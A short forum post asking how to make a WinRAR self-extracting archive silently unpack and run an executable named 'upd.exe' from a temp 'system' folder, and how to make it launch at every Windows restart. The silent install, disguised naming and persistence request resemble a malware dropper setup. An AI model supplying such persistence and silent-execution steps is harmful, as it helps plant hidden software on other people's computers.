[Help with winrar sfx command]

Hello, i'm new here and I was wonder if anyone can help me with my sfx commends 

heres my file commands 

;The comment below contains SFX script commands

Path=%temp%/system
Setup=upd.exe
Silent=1
Overwrite=2
Update=U

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I wanted upd.exe on startup folder on [windows 7,8,10] or any other method to make it run every time I restart the pc on OS I've mention 

please if anyone know help me here 

thanks a lot